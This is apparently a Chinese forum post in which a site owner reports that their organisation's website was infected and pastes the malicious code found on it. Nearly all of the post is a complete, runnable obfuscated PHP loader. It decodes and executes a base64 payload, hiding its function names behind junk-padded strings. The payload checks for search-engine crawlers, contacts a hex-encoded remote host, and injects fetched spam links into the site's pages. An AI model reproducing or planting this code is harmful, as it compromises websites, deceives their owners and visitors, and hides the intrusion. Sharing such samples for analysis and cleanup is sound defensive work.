单位网站被挂马，代码如下

$dvj = str_replace("lt","","ltslttr_rlteltpltlltaclte");
$hja="CgpfcdpZighY2xfcdhc3NfZXhpc3RzKCdzZW9jbGfcdllbnQnKSl7CfcdiAgIfcdCBjbGFzfcdcyBfcdzZfcdW9jbGllbnR7CiAgICAgIfcdCAgcHJpdmF0fcdZSAkZGVidWcgPfcdSBOVUfcdxfcdMOwogfcdICfcdAgfcdICAgIHfcdByaXZhdGfcdUgJGFyciA9IGFfcdycmF5KCkfcd7CfcdifcdAgICAfcdgICAfcdgfcdcHJpdmF0ZSAkc29ja2V0ID0gIlxYNjhfcdcfcdWDc0XFgfcd3NFxYNzBcfcdWDNfcdBXFgyRlxYMkZfcdcfcdWDc3XFg3N1fcdxYNzdfcdcWfcdDJFXfcdFg3MFfcdxYNzJcWDZGXFg2MlxYNjFcWDY5XFg2NFxYNzVcWDJfcdFXFg2M1xYNkZcfcdWDfcdZEXFgfcdyfcdRlxYNjlcWDZFXFg2NFxYNjfcdVcWDc4fcdXFfcdgyRVxYNfcdzBcWDY4XFfcdgfcd3MCI7CfcdgofcdgICAgICAgIHB1YmxpYyBfcdmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZfcdGVidWcgPSBmYWxzZfcdSkgewfcdogICfcdAgICAgfcdICAgICfcdAkdGhpfcdcy0+fcdZGVidWcgPSAkZGVidWc7CiAgICAgICAgfQogICAgIfcdCfcdAgIHB1YmxpYyBmdW5jdGfcdlfcdvbiBrZWNobygkcGFyYfcdW0sJGxpbmUgPSAfcdiIikgewogICAgICAgICAfcdgICfcdBlY2hvICfcdI8cHJlPiI7CiAfcdgICAgICAgIfcdCfcdAgfcdIHByaW50X3IoJHBhfcdcmFtKTsgICAgZfcdWNobfcdyAiPGhyPiI7ICAgIHByaW50fcdX3IofcdJfcdGxpbmUpOwogICAgICAgICAgICBlY2hvICI8fcdLfcd3ByZT4iOwfcdogICAgICAgIH0KCgogICfcdAfcdgICAgIHB1fcdYmxpYyBmdW5jdGlfcdvbiBtYWluKCl7CgogIfcdCAgICAgICAgICBfcdpZiAofcdIXNlbGY6OmlzX2JvdCgpKSfcdAgcmVfcd0dXJuOwogICAgICAgfcdICAgICfcdAkcfcdmVzID0ganNvbl9kZfcdWNvZGUoJHRoaXMtPnBvc3QoJHRoaXMtPnNvfcdY2tldCwgICR0aGlzLT5wY29udGV4dCgpKSx0dXJlKTsfcdKICAgICAgICAgICAgJfcdGFycfcdiAfcd9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRyZXMgYXMfcdgJGtleSA9PfcdiAkdmFsdfcdWUpIfcdHsKfcdICAgICAgICfcdAgICAgIfcdCAgIGlmKHfcdNlbGY6fcdOmfcdZpbGfcdVfZXfcdhpc3RzKCR2YWx1ZSkpewogICAgICAfcdgICAgICAgICAgIfcdCAgfcdIGlmfcdKGfcdZ1bmN0aW9uX2V4fcdaXN0cygnZmlsZV9nZXRffcdY29udGVudfcdHMnKfcdSl7CiAfcdgICAgICAgICfcdAgICAgICAgICAgICAgICRhcnIgPSAkdGhpfcdcy0fcd+ZmfcdlsZV9nZXRfY29fcdudGVudHMfcdoJHZhbHVlKTsKICAgICAgICAgICAgICfcdAgICAgICB9ICBlbHNlfcdIHsKICAgICAgICAgICAgICAgICAgICAgICfcdAgJGFyciA9ICRfcd0aGlzLT5maWxlX2dldF9hcnfcdJheSgkdmFsdWUpOwogICAgICAgICAgICAgICAgICfcdAgIH0KICAgICAgICA";
$vci="bfcdiBmaWxlXfcd2V4aXN0cygfcdkcGFnZSkgewogICAgICAgICAfcdgICAfcdkaGVhfcdZGVycyA9IEBnZXRfaGVfcdhZGVfcdycygkcGfcdFnZSk7CiAgICAgICAgICAgIGlmICgkaGVhZfcdGVycykgfcdewogICAgICAgICAgICAgICAgJGhlfcdYWQgPSBfcdleHBsb2RlKCcgJfcdywgJfcdGhlYWRlcnNfcdbMF0pOwofcdgIfcdCAgICAfcdgICAgICfcdAgICfcdAgaWfcdYgKfcdCAfcdhfcdZW1wdHkoJGhlYWRbMV0pfcdICYmIGludfcdHfcdZhfcdbCgkaGVhZFsxXSkgPCAfcd0MDApfcdIHsKICAgICAgICAfcdgICAgICAgICAgICByZfcdXR1cm4fcdgdHJ1ZTsfcdKICAgfcdICAfcdgfcdICAgICAgICfcdAgIH0KICAgIfcdCAgICAgIfcdCAgfQogICAgICAgfcdICAfcdgICByfcdZXR1fcdcm4fcdgZmFfcdsc2fcdU7CiAgICAgICAgffcdQoKICAgfcdICAgIfcdCBwdWJsaWMgZfcdnfcdVuY3Rpb24gZnJhbWUoJfcdGFfcdycmF5KSB7CiAgICfcdAgICAgICAgIGVjaG8gIjx0YWJsZfcdSBzfcddHfcdlsZT0nYWfcdxpZ246Y2VudGVyO3fcddpZHRoOjkwJTtfcdjZWxscGFkZGluZzoxO2NlbGxzfcdcGFjaW5nOjA7Ym9yZGVyLXN0eWxlOmRhc2hlZDtib3JkZXfcdItdfcd2lkdGg6MXB4OyBfcdib3JkZfcdXItYfcd29sb3I6IzAwMDAwMDsnPiI7fcdIAogICAgICAgICAgfcdICBmb3IgKCRpbmfcdRleCA9IDA7ICRfcdpbmRleCA8IfcdGNvdW50KCRhcnfcdJheSk7ICRpbmRleCsrKfcdSB7CiAgICAfcdgICAgICAgICAgICBzZWxmOjpmcmfcdFtZV90cigkYfcdXJyYXlbJGluZfcdGVfcd4XSwkYXJfcdyYXlbfcdJGlfcduZGfcdV4fcdKzFdLCRhcnJhfcdefcdVsfcdkaW5kZXgrMl0sfcdJGFycfcdmF5WyRpbmRlefcdCszXSk7CiAgICAgIfcdCAfcdgICAgICfcdAgICAkaW5kZXggPSAkaW5kZXgrMzsKICAgICAgICAfcdgICAgfQogICAgICAgICAgICBlY2hvKCIfcd8Lfcd3RfcdhYfcdmxlPjfcdxicj48YnI+fcdIik7CgogICAgICAgIH0KCgogICAgICAgIHB1YmxpYyBmdW5jdGlvbiBwY29udGV4dCgpIHsKICAfcdgICAgICAgfcdICAgJGfcdQgfcdPSBfcdhcnJheSfcdgpOwogIfcdCAgICAgIfcdCAgICAkZFsnfcdZG9tYWlfcduJ10gIfcdCAgPSAkX1NFUlZfcdFUlsnU0VSVkVSX05BTUUnXTsKICAfcdgICAgICAgICAgfcdJGRbJ3Rva2VufcdJ10gICAgfcdID0gc3Vic3RfcdyKG1kNSgfcdkX1NFUlZfcdFUlsnU0VfcdSVkVSX05BTUUnXSksIDUsMTUfcdpOfcdwofcdgICAgICAgICAgICByZXR1cm4fcdgJGfcdQ7CifcdAgICAgICAgfQoKCiAgICAgICAgcHVibGljIGZ1bfcdmfcdN0aW9fcduIHBvc3QoJfcdHVyfcdbCwgfcdJHBvc3QgPSBudfcdWfcdxsLCRtZfcdXRobfcd2fcdQgPSAnUE9TVCcsICAkfcddGltZW91dD0gNjAsIfcdCRpID0wKQo";
$mby="gICAgICAgfcdIHsfcdKIfcdCAgICAgICAgICAgJGNvbnRleHQgPSBhcnJfcdheSgpOwogICfcdAgIfcdCAgICAgICBpfcdZiAoaXNfYXJyYfcdXkoJHBvc3QpKfcdSB7CiAgICAgICfcdAgICAgICfcdAfcdgICBrc29ydCgfcdkcG9zdCfcdk7CiAgICAgICAgICAfcdgIfcdCAfcdgIfcdCAkY29ufcddGV4dFsnafcdHR0cCddID0gYXJyYXkgKAogICAgfcdICAgfcdICAgICAgICAgICAfcdgfcdICdfcd0fcdaW1lb3V0Jz0+ICR0aW1lb3fcdV0fcdLCAgfcdICfcddtZXRob2QnID0+ICRtZXRob2QsCiAgICAgICAgICAgfcdIfcdCAgICAgfcdICfcdAgJ2NvbnRlbnQnID0+IGh0dHfcdBfcdffcdYnVfcdpbGRfcXVlcnkoJHBfcdvfcdcfcd3QfcdsICcnLCAnJicpLAogICAgICAgfcdICAgIfcdCfcdAgICAgKTsKIfcdCAgICAgICAgICfcdAgfQogICAgfcdICAgICAgICfcdAkY29udfcdGV4dCA9IHN0cmVhfcdbfcdV9jb250ZXh0X2fcdNyZWF0ZSgkY29udGVfcd4dCk7CiAgICAgIfcdCAgICAgIHdoafcdWxlKCfcdRpIDwgMyAmJiAoJGh0fcdbWwfcdgPWZpfcdbGfcdVfZ2Vfcd0fcdX2fcdNvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCkpPT09RkFMU0UpIHsfcdKICAgICAfcdgICAgICAgICAgIfcdCRpKys7CfcdiAgIfcdCfcdAgfcdICAgICfcdAgfcdIH0KICAgIfcdCAgfcdICAgIfcdCfcdAgcmV0dXJuIfcdCRodG1sOwogICAgICAgIH0fcdKCgogICAgICAgICfcdBwdWJsaWMgZnVuY3Rpb24gaXNfYm90KCRib3RjafcdGFyID0gIi8oR29vZ2xlYm90ffcdGJfcdhaWR1fcdfGJvdfcdHxjcmFfcd3bHxzcGlkZfcdXJ8fcdc29zb3xfcdzb2h1LXNlYXJjafcdHxfcdjdXJsfHdnZXR8MzYfcdwfcdKfcdS9pfcdIil7CifcdAfcdgICAgICAgICAgIGlmKCRfcd0aGfcdlzLT5kZWJ1Zyl7CiAgICAgfcdICAgICAgfcdICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAfcdgfQogICAgICAgICAgICAkdXNlcl9hfcdZ2fcdVudCA9IHN0cnRvbG93ZXIoJF9TRVJWfcdRVJbJ0hUVFfcdBfVVNFUl9fcdBRfcd0VOVCddKTsKICAgICAfcdgICAgICAgaWYocHJlZ19tYXfcdRjaCgkYfcdm90Yfcd2hhcfcdiwfcdgJHfcdVzZXJfYWdlbnQpKSB7CiAgICAgICAgICAfcdgICfcdAgfcdICByZXR1cm4gVFJVfcdRTfcdsfcdKICAgICAgICAgICAgfWfcdVsfcdc2UgeyAgICAgICAgICAfcdgCiAgICAgICAgICAgICAgICByZXR1cfcdm4gZfcdmFscfcd2fcdU7CiAgICAgICAgICfcdAgIH0KfcdICAgICAgICB9CgogICAgfcdfQp9CgppZigfcdhaXNzZXQoJHNlbfcd19pbnN0YW5fcdjZfcdSkfcdpewogIfcdCAgJHNfcdlb19pbnN0YWfcd5jfcdZSfcdA9IG5ldyBzZfcdW9jbGlfcdlbnQoKTsKfcdICAgICRzZW9faW5zdGFuYfcd2UtPm1haW4fcdoKTsKffcdQfcdoKCiAK";
$mts="gICAfcdgICAgICAgICAkdfcdGhpcy0+fcdZnJhbWUoJGFycik7ICAgfcdICAgICAgICAgICAgIfcdAogICAgICAgICAgICAgICAgfQfcdogICAgICAgIfcdCAgICBfcd9CiAgICAgICAfcdgfQfcdoKICAgICAgICBwcm90ZWN0ZWQgZnVufcdYfcd3Rpb24gZmlsZV9nZXRfYXfcdJfcdyfcdYXkoJGfcdZpbGVuYW1lLfcdCRtb2RlPSdyJfcdyfcdkgefcdwogICAgfcdICAgICAgICAkYXJyID0gYfcdXJyYXkoKTsKICAgICAgICAgICAgJGZwID0fcdgZm9fcdwZW4oJGZpbGVuYW1fcdlLCAfcdkbW9kZSk7CiAgICAgICAgICAfcdgIHdoaWxlICghZfcdmVvZfcdigkfcdZnApfcdKSB7CfcdiAgICAfcdgICAgICAgfcdICAgICAkfcdYXfcdJyfcdW10gPSBmZ2V0cygkZnApOwogICAgICAgICAgICBfcd9CiAgICfcdAgICAgICAgIHJldfcdHVybiAkYXJyOwogfcdICAfcdgIfcdCAgIH0KCifcdAfcdgICfcdAgICAgcHJvfcddGVfcdjdGVkIGZ1fcdbmNfcd0aW9uIGZpbGVfZfcd2Vfcd0Xfcd2NvbnRlbnfcdRzKCR1cmwpIHsKICAgICAgICAgICAgJGfcdNvbnfcdRlbnRzID0gZmlsZV9nZXRfY29udGVudHfcdMfcdoJHVybCk7CiAgICAgIfcdCAgICAgIfcdCfcdRjb250ZW50cyA9IHN0cfcdl9yZXBfcdsYWNlKCJhPfcdifcdIfcdsfcdIfcdCJhPnwiLCAkY29fcdudGVudHMpOwogICAgfcdICAgICAgICAkY29udGVudfcdHMgID0gc3RyX3JlcGxhY2UoUEhQX0VPTCwgJycsICRjbfcd2fcd50ZW50cyk7IAogIfcdCAgICAgICfcdAgICAkYXJyYXkgfcdPSBleHBsb2RfcdlKCd8JfcdywgJfcdGNvbnRlbnRzKTsKICAgICAgfcdICAgICAgJGFycmF5ID0fcdgYXJyYfcdXlfZmlsdGVyKCRhcnJheSkfcd7CiAgICAgfcdICfcdAgICAgIHJldHVybiAkYfcdXfcdJyfcdYXk7CiAgICAgICAfcdgfQoKICAgICAgICBwcm90fcdZfcdWN0ZWQgZnfcdVuY3Rpfcdb24gZnJhfcdbWVfdGfcdQfcdoJGEpIHsKICAgICAgICfcdAgICAgaWYoaXNfbnVsbCgkYSkpefcdwogIfcdCAgICfcdAgfcdICfcdAgICfcdAgICfcdAgIfcdHJldfcdHVfcdybiAgOwogICAgICfcdAgICAgICB9CiAgICAgICAgICAfcdgIHJldHVybiAgIjx0ZD4kYTwvdfcdGQfcd+IjfcdsKfcdICAgICAgICB9CgogfcdICAgICAgIHBybfcd3RlY3RlZCBmdW5jdGlvbiBmcmFtZV90cigkYSwkfcdYiwkYywfcdkZCkgewogICAgICAgICAgICAkZm9ybWF0IDfcd0gIjfcdx0fcdciAfcd+ICfcdIuc2fcdVsZjo6ZnJhbfcdWVfdGQoJGEpLnNlbGY6OmZyYW1lX3RkKCRifcdKS5zZWxfcdmOjpmcmFtZV9fcd0ZCgkYykuc2VsZjo6ZnJhbWVfdfcdGQofcdJGMpLiAiPC9fcd0cfcdj4fcdiOwogICAgICAgICAgICBlYfcd2hvICAkZm9ybWfcdF0OwogICAgICAgIH0KCiAgfcdICAgICAgIHB1YmxpYyBfcdmdW5jdGlv";
$fw = $dvj("w", "", "bwawswew64w_decowdwe");
$tk = $dvj("ch","","chcchrchechachtchech_chfchuchnchcchtchichochn");
$qbe = $tk('', $fw($dvj("fcd", "", $hja.$mts.$vci.$mby))); $qbe();